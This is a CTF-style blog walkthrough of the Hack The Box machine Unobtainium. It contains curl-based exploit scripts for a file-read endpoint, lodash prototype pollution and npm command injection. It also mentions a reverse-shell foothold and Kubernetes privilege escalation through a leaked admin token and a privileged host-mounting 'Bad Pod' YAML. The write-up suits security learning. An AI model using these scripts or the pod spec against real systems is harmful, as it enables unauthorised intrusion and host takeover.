This post documents the complete walkthrough of Unobtainium, a retired vulnerable VM created by felamos, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Unobtainium is an active vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.235 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-04-12 02:42:12 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.235
Discovered open port 10256/tcp on 10.10.10.235
Discovered open port 2380/tcp on 10.10.10.235
Discovered open port 10249/tcp on 10.10.10.235
Discovered open port 8443/tcp on 10.10.10.235
Discovered open port 10250/tcp on 10.10.10.235
Discovered open port 22/tcp on 10.10.10.235
Discovered open port 2379/tcp on 10.10.10.235
Discovered open port 31337/tcp on 10.10.10.235

Haven’t seen so many open ports in a long time. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,80,2379,2380,8443,10249,10250,10256,31337 -A --reason 10.10.10.235 -oN nmap.txt
...
PORT      STATE SERVICE          REASON         VERSION
22/tcp    open  ssh              syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)
|   256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)
|_  256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)
80/tcp    open  http             syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
2379/tcp  open  ssl/etcd-client? syn-ack ttl 63
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Issuer: commonName=etcd-ca
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-17T07:10:30
| Not valid after:  2022-01-17T07:10:30
| MD5:   bf49 c77d 7900 011e 603c 26f5 9620 af5d
|_SHA-1: 3ad8 d245 3655 0459 3cae 0454 0992 b85d c7ca 7531
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| tls-nextprotoneg:
|_  h2
2380/tcp  open  ssl/etcd-server? syn-ack ttl 63
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Issuer: commonName=etcd-ca
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-17T07:10:30
| Not valid after:  2022-01-17T07:10:30
| MD5:   f920 4337 4559 aad2 fd5c 41bf 0b9c 827c
|_SHA-1: 729f 3481 33c5 eaba 5922 1b34 8bb8 e052 a107 a521
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| tls-nextprotoneg:
|_  h2
8443/tcp  open  ssl/https-alt    syn-ack ttl 63
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Mon, 12 Apr 2021 02:52:45 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Mon, 12 Apr 2021 02:52:44 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Mon, 12 Apr 2021 02:52:44 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Issuer: commonName=minikubeCA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-11T02:30:32
| Not valid after:  2022-04-12T02:30:32
| MD5:   3f48 15e8 7ed6 560f e45f d2f3 5b2d e71a
|_SHA-1: f127 e2d1 e333 541d 2016 9025 2c1b c9b3 7a87 c2e7
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   h2
|_  http/1.1
10249/tcp open  http             syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open  ssl/http         syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: [email protected]
| Subject Alternative Name: DNS:unobtainium
| Issuer: [email protected]428
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-17T05:37:08
| Not valid after:  2022-01-17T05:37:08
| MD5:   fa5f 3f5c 5f93 30d2 5105 2aad 71a4 96f6
|_SHA-1: d67f 5a73 83b7 2393 1612 e88a 12c5 6bf1 9552 36b3
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   h2
|_  http/1.1
10256/tcp open  http             syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
31337/tcp open  http             syn-ack ttl 62 Node.js Express framework
| http-methods:
|   Supported Methods: GET HEAD PUT DELETE POST OPTIONS
|_  Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).

Whoa, that’s a lot of http services. Anyway, here’s what the main http (80/tcp) service looks like.

Don’t tell me I’ve to do reverse engineering at such an early stage?

Preliminary Analysis of Unobtainium

Because I’m using Kali Linux, I chose the deb package (it was archived in a ZIP file). The deb package can be extracted with dpkg-deb like so.

mkdir chat
dpkg-deb -xv unobtainium_1.0.0_amd64.deb chat
./
./usr/
./usr/share/
./usr/share/icons/
./usr/share/icons/hicolor/
./usr/share/icons/hicolor/32x32/
./usr/share/icons/hicolor/32x32/apps/
./usr/share/icons/hicolor/32x32/apps/unobtainium.png
./usr/share/icons/hicolor/48x48/
./usr/share/icons/hicolor/48x48/apps/
./usr/share/icons/hicolor/48x48/apps/unobtainium.png
./usr/share/icons/hicolor/256x256/
./usr/share/icons/hicolor/256x256/apps/
./usr/share/icons/hicolor/256x256/apps/unobtainium.png
./usr/share/icons/hicolor/128x128/
./usr/share/icons/hicolor/128x128/apps/
./usr/share/icons/hicolor/128x128/apps/unobtainium.png
./usr/share/icons/hicolor/64x64/
./usr/share/icons/hicolor/64x64/apps/
./usr/share/icons/hicolor/64x64/apps/unobtainium.png
./usr/share/icons/hicolor/16x16/
./usr/share/icons/hicolor/16x16/apps/
./usr/share/icons/hicolor/16x16/apps/unobtainium.png
./usr/share/applications/
./usr/share/applications/unobtainium.desktop
./usr/share/doc/
./usr/share/doc/unobtainium/
./usr/share/doc/unobtainium/changelog.gz
./opt/
./opt/unobtainium/
./opt/unobtainium/libvulkan.so
./opt/unobtainium/chrome_100_percent.pak
./opt/unobtainium/unobtainium
./opt/unobtainium/libffmpeg.so
./opt/unobtainium/snapshot_blob.bin
./opt/unobtainium/v8_context_snapshot.bin
./opt/unobtainium/vk_swiftshader_icd.json
./opt/unobtainium/LICENSE.electron.txt
./opt/unobtainium/locales/
./opt/unobtainium/locales/th.pak
./opt/unobtainium/locales/da.pak
./opt/unobtainium/locales/gu.pak
./opt/unobtainium/locales/ro.pak
./opt/unobtainium/locales/it.pak
./opt/unobtainium/locales/fil.pak
./opt/unobtainium/locales/fi.pak
./opt/unobtainium/locales/ml.pak
./opt/unobtainium/locales/hu.pak
./opt/unobtainium/locales/id.pak
./opt/unobtainium/locales/zh-CN.pak
./opt/unobtainium/locales/bg.pak
./opt/unobtainium/locales/hi.pak
./opt/unobtainium/locales/sk.pak
./opt/unobtainium/locales/fr.pak
./opt/unobtainium/locales/mr.pak
./opt/unobtainium/locales/et.pak
./opt/unobtainium/locales/kn.pak
./opt/unobtainium/locales/ar.pak
./opt/unobtainium/locales/he.pak
./opt/unobtainium/locales/sv.pak
./opt/unobtainium/locales/en-GB.pak
./opt/unobtainium/locales/cs.pak
./opt/unobtainium/locales/te.pak
./opt/unobtainium/locales/el.pak
./opt/unobtainium/locales/pt-PT.pak
./opt/unobtainium/locales/hr.pak
./opt/unobtainium/locales/ru.pak
./opt/unobtainium/locales/ca.pak
./opt/unobtainium/locales/es.pak
./opt/unobtainium/locales/sw.pak
./opt/unobtainium/locales/uk.pak
./opt/unobtainium/locales/fa.pak
./opt/unobtainium/locales/ko.pak
./opt/unobtainium/locales/es-419.pak
./opt/unobtainium/locales/vi.pak
./opt/unobtainium/locales/lv.pak
./opt/unobtainium/locales/zh-TW.pak
./opt/unobtainium/locales/pl.pak
./opt/unobtainium/locales/pt-BR.pak
./opt/unobtainium/locales/sl.pak
./opt/unobtainium/locales/nl.pak
./opt/unobtainium/locales/ja.pak
./opt/unobtainium/locales/sr.pak
./opt/unobtainium/locales/am.pak
./opt/unobtainium/locales/bn.pak
./opt/unobtainium/locales/ms.pak
./opt/unobtainium/locales/nb.pak
./opt/unobtainium/locales/tr.pak
./opt/unobtainium/locales/de.pak
./opt/unobtainium/locales/ta.pak
./opt/unobtainium/locales/en-US.pak
./opt/unobtainium/locales/lt.pak
./opt/unobtainium/chrome-sandbox
./opt/unobtainium/libEGL.so
./opt/unobtainium/resources/
./opt/unobtainium/resources/app.asar
./opt/unobtainium/chrome_200_percent.pak
./opt/unobtainium/libGLESv2.so
./opt/unobtainium/swiftshader/
./opt/unobtainium/swiftshader/libEGL.so
./opt/unobtainium/swiftshader/libGLESv2.so
./opt/unobtainium/resources.pak
./opt/unobtainium/icudtl.dat
./opt/unobtainium/LICENSES.chromium.html
./opt/unobtainium/libvk_swiftshader.so

The unobtainium executable is an Electron app. Upon opening the app, I was greeted with the following error message.

I’d better include unobtainium.htb into /etc/hosts. It seems to suggest some kind of network interaction is involved, so I fire up Wireshark to observe the network traffic.

There isn’t much going on in the app if I’m being honest. Having said that, there are four entry points: Dashboard, Message Log, Post Messages and Todo, that allow interaction with the app. Each entry point corresponds to a pair of HTTP request/response like so. What’s more interesting is the Post Messages and Todo entry points because they use the PUT and POST method respectively, signalling a way to send data to presumably the endpoint of an API server.

Post Messages

Todo

Read Files with Todo

The Todo function seems to suggest the capability to read files from the remote machine. Armed with that insight, I wrote the following shell script, driven mainly by curl to test my hypothesis.

read.sh
#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36"
PROXY="127.0.0.1:8080"
FILE=$1

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "filename":"${FILE}"
}
EOF

CONTENT="$(curl -s \
                -A "${UA}" \
                -H "Content-Type: application/json" \
                -d "$(cat message.json | jq -c)" \
                -x "${PROXY}" \
                http://${RHOST}:${RPORT}/todo \
           | jq .content \
           | sed -e 's/^.//' -e 's/.$//')"

printf "$CONTENT"

See what happens when you request a non-existent file.

I knew at this point I should be able to read index.js.

index.js
var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

const users = [
 {name: 'felamos', password: 'Winter2021'},
 {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

let messages = [];
let lastId = 1;

function findUser(auth) {
 return users.find((u) =>
 u.name === auth.name &&
 u.password === auth.password);
}

app.use(bodyParser.json());

app.get('/', (req, res) => {
 res.send(messages);
});

app.put('/', (req, res) => {
 const user = findUser(req.body.auth || {});

 if (!user) {
 res.status(403).send({ok: false, error: 'Access denied'});
 return;
 }

 const message = {
 icon: '__',
 };

 _.merge(message, req.body.message, {
 id: lastId++,
 timestamp: Date.now(),
 userName: user.name,
 });

 messages.push(message);
 res.send({ok: true});
});

app.delete('/', (req, res) => {
 const user = findUser(req.body.auth || {});

 if (!user || !user.canDelete) {
 res.status(403).send({ok: false, error: 'Access denied'});
 return;
 }

 messages = messages.filter((m) => m.id !== req.body.messageId);
 res.send({ok: true});
});
app.post('/upload', (req, res) => {
 const user = findUser(req.body.auth || {});
 if (!user || !user.canUpload) {
 res.status(403).send({ok: false, error: 'Access denied'});
 return;
 }


 filename = req.body.filename;
 root.upload("./",filename, true);
 res.send({ok: true, Uploaded_File: filename});
});

app.post('/todo', (req, res) => {
        const user = findUser(req.body.auth || {});
        if (!user) {
                res.status(403).send({ok: false, error: 'Access denied'});
                return;
        }

        filename = req.body.filename;
 testFolder = "/usr/src/app";
 fs.readdirSync(testFolder).forEach(file => {
 if (file.indexOf(filename) > -1) {
 var buffer = fs.readFileSync(filename).toString();
 res.send({ok: true, content: buffer});
 }
 });
});

app.listen(3000);
console.log('Listening on port 3000...');

Judging from index.js, looks like I’m looking at Node.js. Let’s see if we can read package.json to determine the versions of npm packages used, and their vulnerabilities, if any.

package.json
{
  "name": "Unobtainium-Server",
  "version": "1.0.0",
  "description": "API Service for Electron client",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "author": "felamos",
  "license": "ISC",
  "dependencies": {
    "body-parser": "1.18.3",
    "express": "4.16.4",
    "lodash": "4.17.4",
    "google-cloudstorage-commands": "0.0.1"
  },
  "devDependencies": {}
}

Sweet.

Prototype Pollution in lodash < 4.7.11

Notice that we need canDelete and canUpload to be true in order to access certain paths? To do that, we need prototype pollution.

Affected versions of this package are vulnerable to Prototype Pollution. The functions merge, mergeWith, and defaultsDeep could be tricked into adding or modifying properties of Object.prototype. This is due to an incomplete fix to CVE-2018-3721.

Looks like this is just what the doctor ordered!

Let’s re-purpose our read.sh to post messages to pollute the users object in index.js and give ourselves some canDelete and canUpload capabilities.

post.sh
#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36"
PROXY="127.0.0.1:8080"
TEXT="$1"

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "message":
    {
        "text":${TEXT}
    }
}
EOF

curl -s \
     -X PUT \
     -A "${UA}" \
     -H "Content-Type: application/json" \
     -d "$(cat message.json | jq -c)" \
     -x "${PROXY}" \
     "http://${RHOST}:${RPORT}/" \
| jq .

Sorry Greta but it’s pollution time to MAKE ARSE (US) GREAT AGAIN!

Let’s go…

Command Injection in ALL versions of google-cloudstorage-commands

As it turns out, there’s a command injection vulnerability in all versions of the google-cloudstorage-commands npm package. To that end, I re-purposed post.sh into upload.sh to exploit this vulnerability.

upload.sh
#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36"
PROXY="127.0.0.1:8080"
FILE=$1

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "filename":"${FILE}"
}
EOF

curl -s \
     -A "${UA}" \
     -H "Content-Type: application/json" \
     -d "$(cat message.json | jq -c)" \
     -x "${PROXY}" \
     -o /dev/null \
     "http://${RHOST}:${RPORT}/upload"

Let’s give it a shot!

If the exploit is successful we should be able to read ok.txt.

Bingo!

Foothold

Armed with remote command execution capability, let’s run a bash reverse shell back to me.

And there you have it.

Looks like we are in some kind of container. Anyway, the file user.txt is at root’s home directory.

Privilege Escalation

During enumeration of root’s account in this container, I notice a cron job that removes kubectl in the container every minute on the minute. If I had to guess, I would say that privilege escalation has something to do with Kubernetes if it’s not already obvious.

Let’s copy a version of kubectl, bearing in mind to change the name of kubectl to avoid being removed by the cron job. :wink:

Kubernetes version and version skew policy

We should be good.

Kubernetes Authorization and Access Control

First up, let’s see what are my current rights with kubectl with respect to Kubernetes privileged resources, like secrets.

zkubectl auth can-i list secrets
no

That’s harsh :laughing:

What about namespaces?

zkubectl auth can-i list namespaces
Warning: resource 'namespaces' is not namespace scoped
yes

Kubernetes Namespaces

That’s awesome. Let’s list all the namespaces in the cluster.

zkubectl get namespace
NAME              STATUS   AGE
default           Active   87d
dev               Active   87d
kube-node-lease   Active   87d
kube-public       Active   87d
kube-system       Active   87d

This is a shit-show.

Listing Pods in dev namespace

Well, at least we can enumerate the Pods in the dev namespace.

The concept of a Kubernetes Pod is something I used to struggle with.

Pods are the smallest, most basic deployable objects in Kubernetes. A Pod represents a single instance of a running process in your cluster. Pods contain one or more containers, such as Docker containers. When a Pod runs multiple containers, the containers are managed as a single entity and share the Pod’s resources.

So, in a nutshell.

A Kubernetes cluster can have one or more nodes. Each node can have one or more Pods. Each Pod can have one or more running containers.

Looks like we have three Pods each with a running container in the dev namespace. Here’s the description of one of the Pods.

[email protected]:/# zkubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n dev
Name:         devnode-deployment-cd86fb5c-6ms8d
Namespace:    dev
Priority:     0
Node:         unobtainium/10.10.10.235
Start Time:   Sun, 17 Jan 2021 18:16:21 +0000
Labels:       app=devnode
              pod-template-hash=cd86fb5c
Annotations:  <none>
Status:       Running
IP:           172.17.0.4
IPs:
  IP:           172.17.0.4
Controlled By:  ReplicaSet/devnode-deployment-cd86fb5c
Containers:
  devnode:
    Container ID:   docker://fed5d9bb3199fbca3f8ad70377a9f9a65c8e55b4eea52d97b429347ad68202dc
    Image:          localhost:5000/node_server
    Image ID:       docker-pullable://localhost:5000/[email protected]:f3bfd2fc13c7377a380e018279c6e9b647082ca590600672ff787e1bb918e37c
    Port:           3000/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Thu, 15 Apr 2021 05:04:44 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    137
      Started:      Wed, 24 Mar 2021 16:01:28 +0000
      Finished:     Wed, 24 Mar 2021 16:02:13 +0000
    Ready:          True
    Restart Count:  28
    Environment:    <none>
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from default-token-rmcd6 (ro)
Conditions:
  Type              Status
  Initialized       True
  Ready             True
  ContainersReady   True
  PodScheduled      True
Volumes:
  default-token-rmcd6:
    Type:        Secret (a volume populated by a Secret)
    SecretName:  default-token-rmcd6
    Optional:    false
QoS Class:       BestEffort
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                 node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:          <none>

Notice the difference? I’m in a webapp-deployment container enumerating devnode-deployment containers in Pods running in the dev namespace. I know it’s very confusing but that’s how Kubernetes is: complicated.

So, what now?

Prod vs Dev

I’m guessing we are looking at two different environments: the classic production environment and the development environment. If my hypothesis is correct, I should be able to repeat the steps and reuse my scripts (I just have to make the RHOST and RPORT variables and upload them to the container I’m currently in) above to get another foothold in the development environment, i.e. one of the containers in the dev namespace.

Chisel

I’ll leave it as an exercise how to transfer chisel over to the webapp-deployment container and set up port forwarding to the devnode-deployment container (172.17.0.4:3000).

This is what you should use at the chisel client (webapp-deployment container).

And this is what you should get over at the chisel server (your attacking machine).

Let’s go!

Sweet, now I’m in one of devnode-deployment containers!

Secrets

Armed with kubectl in a devnode-deployment container, I can finally now list secrets.

Cluster Administrator

Could c-admin-token-tfmp2 be the secret of the Cluster Administrator?

There’s only one way to find out.

BadPods

Holy cow, I can also create and deploy Pod with this token.

Heck, I can follow the Bad Pod example where everything is allowed from the BadPods repository.

Here’s the YAML file for my Bad Pod. There’s one minor adjustment—I need to use whatever image is available for deployment. In this case it’s localhost**:5000/node_server.

everything-allowed-exec-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed-exec-pod
  labels:
    app: pentest
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: everything-allowed-pod
    image: localhost:5000/node_server
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /

I have a good feeling about this.

On my netcat listener, a shell appears…

And the end is here.

:dancer: